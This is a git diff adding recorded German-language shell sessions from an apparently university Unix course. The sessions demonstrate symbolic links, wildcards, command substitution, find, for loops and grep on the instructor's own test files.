+cat: test-3.txt: Datei oder Verzeichnis nicht gefunden +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/symlinks-2.txt b/20210416/symlinks-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..242cce4d34d87cad7cc23266bfc2d0117cedab63 --- /dev/null +++ b/20210416/symlinks-2.txt @@ -0,0 +1,7 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 1 peter peter 7 Apr 16 14:39 test-1.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 3 +cassini/home/peter/bo/2021ss/bs/20210416> ln -s test-1.txt test-3.txt diff --git a/20210416/symlinks-3.txt b/20210416/symlinks-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..ed65d60c82beacea126d25a2758bdaea38209808 --- /dev/null +++ b/20210416/symlinks-3.txt @@ -0,0 +1,9 @@ +cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> ln -s test-3.txt test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:42 test-1.txt -> test-3.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +cat: test-1.txt: Zu viele Ebenen aus symbolischen Links +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/symlinks-4.txt b/20210416/symlinks-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..74f32b7209380d08764304ca550414aca15a07db --- /dev/null +++ b/20210416/symlinks-4.txt @@ -0,0 +1,12 @@ +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:42 test-1.txt -> test-3.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +cat: test-1.txt: Zu viele Ebenen aus symbolischen Links +cassini/home/peter/bo/2021ss/bs/20210416> +cassini/home/peter/bo/2021ss/bs/20210416> rm test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> ls -l test-*.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 test-3.txt -> test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/test-1.txt b/20210416/test-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..ac5ab8fbdb5f9b410cba904145f975593182dced --- /dev/null +++ b/20210416/test-1.txt @@ -0,0 +1 @@ +Test 1 diff --git a/20210416/test-3.txt b/20210416/test-3.txt new file mode 120000 index 0000000000000000000000000000000000000000..e512c20fae491086c36ada7e2b276df83e32b1bd --- /dev/null +++ b/20210416/test-3.txt @@ -0,0 +1 @@ +test-1.txt \ No newline at end of file diff --git a/20210416/test/hello.txt b/20210416/test/hello.txt new file mode 100644 index 0000000000000000000000000000000000000000..af5626b4a114abcb82d63db7c8082c3c4756e51b --- /dev/null +++ b/20210416/test/hello.txt @@ -0,0 +1 @@ +Hello, world! diff --git a/20210416/unix-20210416.pdf b/20210416/unix-20210416.pdf new file mode 120000 index 0000000000000000000000000000000000000000..5088e123b7cf3a13f3e818d8be9c5b5c70f0b056 --- /dev/null +++ b/20210416/unix-20210416.pdf @@ -0,0 +1 @@ +../20210409/unix-20210409.pdf \ No newline at end of file diff --git a/20210416/unix-20210416.tex b/20210416/unix-20210416.tex new file mode 120000 index 0000000000000000000000000000000000000000..8548cff5b6f4928e1bacf91d66f0f6d1ed4966da --- /dev/null +++ b/20210416/unix-20210416.tex @@ -0,0 +1 @@ +../20210409/unix-20210409.tex \ No newline at end of file diff --git a/20210416/wildcards-1.txt b/20210416/wildcards-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..8061b6b72fc36090136db19921dee2154b9a350a --- /dev/null +++ b/20210416/wildcards-1.txt @@ -0,0 +1,36 @@ +cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 1" > test-1.txt +cassini/home/peter/bo/2021ss/bs/20210416> echo "Test 2" > test-2.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt +Test 2 +cassini/home/peter/bo/2021ss/bs/20210416> ls -l +insgesamt 16 +lrwxrwxrwx 1 peter peter 27 Apr 16 10:27 bs-20210416.pdf -> ../20210409/bs-20210409.pdf +-rw-r--r-- 1 peter peter 0 Apr 16 11:53 cd.. +-rw-r--r-- 1 peter peter 82 Apr 16 12:20 hello.c +drwxr-xr-x 2 peter peter 4096 Apr 16 12:25 test +-rw-r--r-- 1 peter peter 7 Apr 16 12:26 test-1.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:26 test-2.txt +lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210416.pdf -> ../20210409/unix-20210409.pdf +lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210416.tex -> ../20210409/unix-20210409.tex +cassini/home/peter/bo/2021ss/bs/20210416> cd test +cassini/home/peter/bo/2021ss/bs/20210416/test> cp -p ../test*.txt +cassini/home/peter/bo/2021ss/bs/20210416/test> ls -l +insgesamt 0 +cassini/home/peter/bo/2021ss/bs/20210416/test> cd .. +cassini/home/peter/bo/2021ss/bs/20210416> ls -l +insgesamt 16 +lrwxrwxrwx 1 peter peter 27 Apr 16 10:27 bs-20210416.pdf -> ../20210409/bs-20210409.pdf +-rw-r--r-- 1 peter peter 0 Apr 16 11:53 cd.. +-rw-r--r-- 1 peter peter 82 Apr 16 12:20 hello.c +drwxr-xr-x 2 peter peter 4096 Apr 16 12:25 test +-rw-r--r-- 1 peter peter 7 Apr 16 12:26 test-1.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:26 test-2.txt +lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210416.pdf -> ../20210409/unix-20210409.pdf +lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210416.tex -> ../20210409/unix-20210409.tex +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> diff --git a/20210416/wildcards-2.txt b/20210416/wildcards-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..fd44a83a02fa5e15b2f724db7d140033573849b7 --- /dev/null +++ b/20210416/wildcards-2.txt @@ -0,0 +1,3 @@ +cassini/home/peter/bo/2021ss/bs/20210416/test> echo cp -p ../test*.txt +cp -p ../test-1.txt ../test-2.txt +cassini/home/peter/bo/2021ss/bs/20210416/test> diff --git a/20210416/wildcards-3.txt b/20210416/wildcards-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..7abffc8939b9354ca8079e8249a3e3fbb5a9d30e --- /dev/null +++ b/20210416/wildcards-3.txt @@ -0,0 +1,14 @@ +cassini/home/peter/bo/2021ss/bs/20210416> for x in 1 2 3; do echo "Test $x" > test-$x.txt; donecassini/home/peter/bo/2021ss/bs/20210416> ls -l test*.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-1.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-2.txt +-rw-r--r-- 1 peter peter 7 Apr 16 12:30 test-3.txt +cassini/home/peter/bo/2021ss/bs/20210416> cat test-1.txt +Test 1 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-2.txt +Test 2 +cassini/home/peter/bo/2021ss/bs/20210416> cat test-3.txt +Test 3 +cassini/home/peter/bo/2021ss/bs/20210416> cd test/ +cassini/home/peter/bo/2021ss/bs/20210416/test> cp -p ../test*.txt +cp: das angegebene Ziel '../test-3.txt' ist kein Verzeichnis +cassini/home/peter/bo/2021ss/bs/20210416/test> diff --git a/20210423/echo-1.txt b/20210423/echo-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..e39b07beb181a870f7683da662d54ac3fd45bdc3 --- /dev/null +++ b/20210423/echo-1.txt @@ -0,0 +1,4 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo Test; ls +Test +test test-2.c unix-20210423.pdf unix-20210423.tex wildcards-1.txt wildcards-2.txt +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/echo-2.txt b/20210423/echo-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..e20f9bccbce32e74e0dbb3f5caa87cf0874d5c6b --- /dev/null +++ b/20210423/echo-2.txt @@ -0,0 +1,3 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "Test; ls" +Test; ls +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/exec-output-1.txt b/20210423/exec-output-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..6bfef64301ada2552a032410405fc95828e9e8d2 --- /dev/null +++ b/20210423/exec-output-1.txt @@ -0,0 +1,12 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo ls +ls +cassini/home/peter/bo/2021ss/bs/20210423> $(echo ls) +echo-1.txt grep-2.txt iostreams-2.txt permissions-1.txt test.txt +echo-2.txt grep-3.txt iostreams-3.txt pipes-1.txt unix-20210423.pdf +find-1.txt grep-4.txt iostreams-4.txt pipes-2.txt unix-20210423.tex +find-2.txt grep-5.txt iostreams-5.txt pipes-3.txt vic +find-3.txt hello-error.txt iostreams-6.txt test wildcards-1.txt +find-4.txt hello-files-and-error.txt iostreams-7.txt test-1.c wildcards-2.txt +find-5.txt hello-files.txt iostreams-8.txt test-2.c wildcards-3.txt +grep-1.txt iostreams-1.txt iostreams-.txt2 test.bc xkcd +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/exec-output-2.txt b/20210423/exec-output-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..8da1d6318741453f610d9c55640af13948673dff --- /dev/null +++ b/20210423/exec-output-2.txt @@ -0,0 +1,11 @@ +cassini/home/peter/bo/2021ss/bs/20210423> locate listings.pdf +/home/peter/bo/doc/listings.pdf +/usr/share/doc/texlive-doc/latex/checklistings/checklistings.pdf +/usr/share/doc/texlive-doc/latex/iodhbwm/examples/listings/iodhbwm-listings.pdf +/usr/share/doc/texlive-doc/latex/listings/listings.pdf +/usr/share/doc/texlive-doc/latex/tagpdf/ex-spaceglyph-listings.pdf +/usr/share/doc/texlive-doc/latex/xsim/examples/xsim.listings.pdf +cassini/home/peter/bo/2021ss/bs/20210423> locate listings.pdf | head -1 +/home/peter/bo/doc/listings.pdf +cassini/home/peter/bo/2021ss/bs/20210423> xpdf $(locate listings.pdf | head -1) +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/exec-output-3.txt b/20210423/exec-output-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..3e8cf4e13e86960215f0b93c0cea0faa0390741c --- /dev/null +++ b/20210423/exec-output-3.txt @@ -0,0 +1,4 @@ +cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) +cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template +params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/find-1.txt b/20210423/find-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..51a80ae973e07b4283cb2ca38861b2dad13b930c --- /dev/null +++ b/20210423/find-1.txt @@ -0,0 +1,15 @@ +cassini/home/peter/bo/2021ss/bs> find -name "test*" +./20210423/test-1.c +./20210423/test-2.c +./20210423/test +./20210416/test-3.txt +./20210416/test +./20210416/test-1.txt +cassini/home/peter/bo/2021ss/bs> find . -name "test*" -print +./20210423/test-1.c +./20210423/test-2.c +./20210423/test +./20210416/test-3.txt +./20210416/test +./20210416/test-1.txt +cassini/home/peter/bo/2021ss/bs> diff --git a/20210423/find-2.txt b/20210423/find-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..2d9eaa12bc77f960e7f81e0777b947349d052148 --- /dev/null +++ b/20210423/find-2.txt @@ -0,0 +1,6 @@ +cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].txt" -print +./20210416/test-1.txt +cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -print +./20210423/test-1.c +./20210423/test-2.c +cassini/home/peter/bo/2021ss/bs> diff --git a/20210423/find-3.txt b/20210423/find-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..0e1f55793dd6e353ecb653529b1d5918f87124a0 --- /dev/null +++ b/20210423/find-3.txt @@ -0,0 +1,17 @@ +cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -exec ls -l {} \; +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c +cassini/home/peter/bo/2021ss/bs> find . -name "test-[1-2].[ch]" -exec ls -l {} + +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c +cassini/home/peter/bo/2021ss/bs> find . -name "test-*" -exec ls -l {} \; +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 ./20210416/test-3.txt -> test-1.txt +-rw-r--r-- 1 peter peter 7 Apr 16 14:47 ./20210416/test-1.txt +cassini/home/peter/bo/2021ss/bs> find . -name "test-*" -exec ls -l {} + +-rw-r--r-- 1 peter peter 7 Apr 16 14:47 ./20210416/test-1.txt +lrwxrwxrwx 1 peter peter 10 Apr 16 14:37 ./20210416/test-3.txt -> test-1.txt +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-1.c +-rw-r--r-- 2 peter peter 82 Apr 23 11:56 ./20210423/test-2.c +cassini/home/peter/bo/2021ss/bs> diff --git a/20210423/find-4.txt b/20210423/find-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..07def8f1d358691756227aa407c8708828b623f4 --- /dev/null +++ b/20210423/find-4.txt @@ -0,0 +1,38 @@ +cassini/home/peter/bo/2021ss/bs/20210423> find . -type f +./test-1.c +./wildcards-1.txt +./test-2.c +./echo-2.txt +./.test.txt +./wildcards-2.txt +./permissions-1.txt +./echo-1.txt +cassini/home/peter/bo/2021ss/bs/20210423> find . -type d +. +./test +cassini/home/peter/bo/2021ss/bs/20210423> find .. -type d +.. +../common +../20210423 +../20210423/test +../20210416 +../20210416/test +../ausarbeitungen +../ausarbeitungen/maas +../20210409 +cassini/home/peter/bo/2021ss/bs/20210423> find .. -type l +../20210423/unix-20210423.pdf +../20210423/unix-20210423.tex +../20210416/test-3.txt +../20210416/unix-20210416.tex +../20210416/bs-20210416.tex +../20210416/bs-20210416.pdf +../20210416/unix-20210416.pdf +../20210409/logo-hochschule-bochum-cvh-text.pdf +../20210409/pgslides.sty +../20210409/Operating_system_placement-de.pdf +../20210409/logo-hochschule-bochum.pdf +../20210409/pathfinder.jpg +../20210409/philosophenproblem.jpg +../.git +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/find-5.txt b/20210423/find-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..8baf885795b845da6f19f3cacd5aae66c5f14172 --- /dev/null +++ b/20210423/find-5.txt @@ -0,0 +1,22 @@ +cassini/home/peter/bo/2021ss/bs/20210423> find .. -name "find-*.txt" +../20210423/find-1.txt +../20210416/find-1.txt +../20210416/find-4.txt +../20210416/find-2.txt +../20210416/find-3.txt +../find-1.txt +../find-2.txt +../find-3.txt +cassini/home/peter/bo/2021ss/bs/20210423> cd .. +cassini/home/peter/bo/2021ss/bs> t +insgesamt 36 +drwxr-xr-x 3 peter peter 4096 Apr 9 15:18 ausarbeitungen +drwxr-xr-x 2 peter peter 4096 Apr 16 10:26 20210409 +-rw-r--r-- 1 peter peter 1329 Apr 16 11:50 projekte.txt +drwxr-xr-x 2 peter peter 4096 Apr 16 14:45 common +drwxr-xr-x 3 peter peter 4096 Apr 23 11:06 20210416 +-rw-r--r-- 1 peter peter 378 Apr 23 12:00 find-1.txt +-rw-r--r-- 1 peter peter 236 Apr 23 12:01 find-2.txt +-rw-r--r-- 1 peter peter 1108 Apr 23 12:04 find-3.txt +drwxr-xr-x 3 peter peter 4096 Apr 23 12:13 20210423 +cassini/home/peter/bo/2021ss/bs> diff --git a/20210423/for-1.txt b/20210423/for-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..f6e41af6c90d4bf75e250fc75dd4d0a69079de1a --- /dev/null +++ b/20210423/for-1.txt @@ -0,0 +1,21 @@ +cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig Wichtig WICHTIG; do touch $x; done +cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig Wichtig WICHTIG; do rm $x; done +cassini/home/peter/bo/2021ss/bs/20210423> seq 7 +1 +2 +3 +4 +5 +6 +7 +cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do touch wichtig-$x.txt; done +cassini/home/peter/bo/2021ss/bs/20210423> ls -l wichtig* +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-1.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-2.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-3.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-4.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-5.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-6.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:45 wichtig-7.txt +cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do rm wichtig-$x.txt; done +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/for-2.txt b/20210423/for-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..fae0292bc4037a527da95d445713b5d6aa4cac3d --- /dev/null +++ b/20210423/for-2.txt @@ -0,0 +1,18 @@ +cassini/home/peter/bo/2021ss/bs/20210423> for x in $(seq 7); do touch wichtig-$x.txt; done +cassini/home/peter/bo/2021ss/bs/20210423> ls -l wichtig* +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-1.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-2.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-3.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-4.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-5.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-6.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 wichtig-7.txt +cassini/home/peter/bo/2021ss/bs/20210423> for x in wichtig-*.txt; do mv -i "$x" "un$x"; done cassini/home/peter/bo/2021ss/bs/20210423> ls -l *wichtig* +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-1.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-2.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-3.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-4.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-5.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-6.txt +-rw-r--r-- 1 peter peter 0 Apr 23 14:46 unwichtig-7.txt +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/grep-1.txt b/20210423/grep-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..c4c92d1f6c8daebb56b21875765792fd91adf251 --- /dev/null +++ b/20210423/grep-1.txt @@ -0,0 +1,22 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep Hello * +grep: test: Ist ein Verzeichnis +test-1.c: printf ("Hello, world!\n"); +test-2.c: printf ("Hello, world!\n"); +unix-20210423.tex: printf ("Hello, world!\n"); +unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +cassini/home/peter/bo/2021ss/bs/20210423> grep "H[ae]llo" * +grep: test: Ist ein Verzeichnis +test-1.c: printf ("Hello, world!\n"); +test-2.c: printf ("Hello, world!\n"); +unix-20210423.tex: printf ("Hello, world!\n"); +unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +cassini/home/peter/bo/2021ss/bs/20210423> grep "[Hh][a-z]llo" * +grep: test: Ist ein Verzeichnis +test-1.c: printf ("Hello, world!\n"); +test-2.c: printf ("Hello, world!\n"); +unix-20210423.tex: printf ("Hello, world!\n"); +unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +unix-20210423.tex: Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello} +unix-20210423.tex: Datei ausgeben: \lstinline[style=cmd]{cat hello.c} +unix-20210423.tex: Datei anzeigen: \lstinline[style=cmd]{less hello.c} +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/grep-2.txt b/20210423/grep-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..2a80ca2380598ac462abf0d8da3b4271d51b50b8 --- /dev/null +++ b/20210423/grep-2.txt @@ -0,0 +1,26 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep -i "H[ae]llo" * +grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210423> grep Hello * +grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +grep-1.txt:unix-20210423.tex: Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello} +grep-1.txt:unix-20210423.tex: Datei ausgeben: \lstinline[style=cmd]{cat hello.c} +grep-1.txt:unix-20210423.tex: Datei anzeigen: \lstinline[style=cmd]{less hello.c} +grep: test: Ist ein Verzeichnis +test-1.c: printf ("Hello, world!\n"); +test-2.c: printf ("Hello, world!\n"); +unix-20210423.tex: printf ("Hello, world!\n"); +unix-20210423.tex: Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"} +unix-20210423.tex: Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello} +unix-20210423.tex: Datei ausgeben: \lstinline[style=cmd]{cat hello.c} +unix-20210423.tex: Datei anzeigen: \lstinline[style=cmd]{less hello.c} +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/grep-3.txt b/20210423/grep-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..f88ade45ccb68507fb5df7a99948d6908149670b --- /dev/null +++ b/20210423/grep-3.txt @@ -0,0 +1,36 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep printf * +grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:test-1.c: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:test-2.c: printf ("Hello, world!\n"); +grep-2.txt:grep-1.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep-2.txt:test-1.c: printf ("Hello, world!\n"); +grep-2.txt:test-2.c: printf ("Hello, world!\n"); +grep-2.txt:unix-20210423.tex: printf ("Hello, world!\n"); +grep: test: Ist ein Verzeichnis +test-1.c: printf ("Hello, world!\n"); +test-2.c: printf ("Hello, world!\n"); +unix-20210423.tex: printf ("Hello, world!\n"); +unix-20210423.tex: cassini/.../ainf/20131031.0> ¡grep printf *.c¿ +unix-20210423.tex: philosophy.c: printf ("The answer is %d.\n", answer ()); +cassini/home/peter/bo/2021ss/bs/20210423> grep "^printf" * +grep: test: Ist ein Verzeichnis +cassini/home/peter/bo/2021ss/bs/20210423> grep -R "^printf" * +cassini/home/peter/bo/2021ss/bs/20210423> grep -R "^ *printf" * +test-1.c: printf ("Hello, world!\n"); +test-2.c: printf ("Hello, world!\n"); +unix-20210423.tex: printf ("Hello, world!\n"); +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/grep-4.txt b/20210423/grep-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..daf3938a688b451f09472da0c47bd349ca191d21 --- /dev/null +++ b/20210423/grep-4.txt @@ -0,0 +1,95 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep 2013 unix-20210423.tex +% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021 Peter Gerwinski + ./2013ss/net/script/slides/net-probeklausur-20120712.tex + ./2013ss/net/20130924.0/net-klausur-20130924.tex + ./2012ss/hs/20130318.0/hs-klausur-20130318.tex + 2011ws 2012ws 2013ws doc misc projekte + 2012ss 2013ss briefe material orga + cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿ + cassini/.../ainf/20131031.0> ¡grep printf *.c¿ + phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿ + ls -l systech-20131008.* + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿ + -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux + ./20131031.0/orbit-x.c + ./20131031.0/orbit-x1.c + ./20131031.0/orbit-x + ./20131107.0/orbit-x.c + ./20131107.0/orbit-x1.c + ./20131107.0/orbit-x + ./20131031.0/orbit-x + ./20131107.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x + rtech-20131002.pdf + -rw-r--r-- 1 peter peter 6753149 Okt 1 22:59 rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> +cassini/home/peter/bo/2021ss/bs/20210423> grep 2013 unix-20210423.tex +% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021 Peter Gerwinski + ./2013ss/net/script/slides/net-probeklausur-20120712.tex + ./2013ss/net/20130924.0/net-klausur-20130924.tex + ./2012ss/hs/20130318.0/hs-klausur-20130318.tex + 2011ws 2012ws 2013ws doc misc projekte + 2012ss 2013ss briefe material orga + cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿ + cassini/.../ainf/20131031.0> ¡grep printf *.c¿ + phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿ + ls -l systech-20131008.* + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿ + -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux + ./20131031.0/orbit-x.c + ./20131031.0/orbit-x1.c + ./20131031.0/orbit-x + ./20131107.0/orbit-x.c + ./20131107.0/orbit-x1.c + ./20131107.0/orbit-x + ./20131031.0/orbit-x + ./20131107.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x + rtech-20131002.pdf + -rw-r--r-- 1 peter peter 6753149 Okt 1 22:59 rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> grep "2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex + ./2013ss/net/20130924.0/net-klausur-20130924.tex + ./2012ss/hs/20130318.0/hs-klausur-20130318.tex + cassini/.../ainf/20131031.0> ¡grep printf *.c¿ + 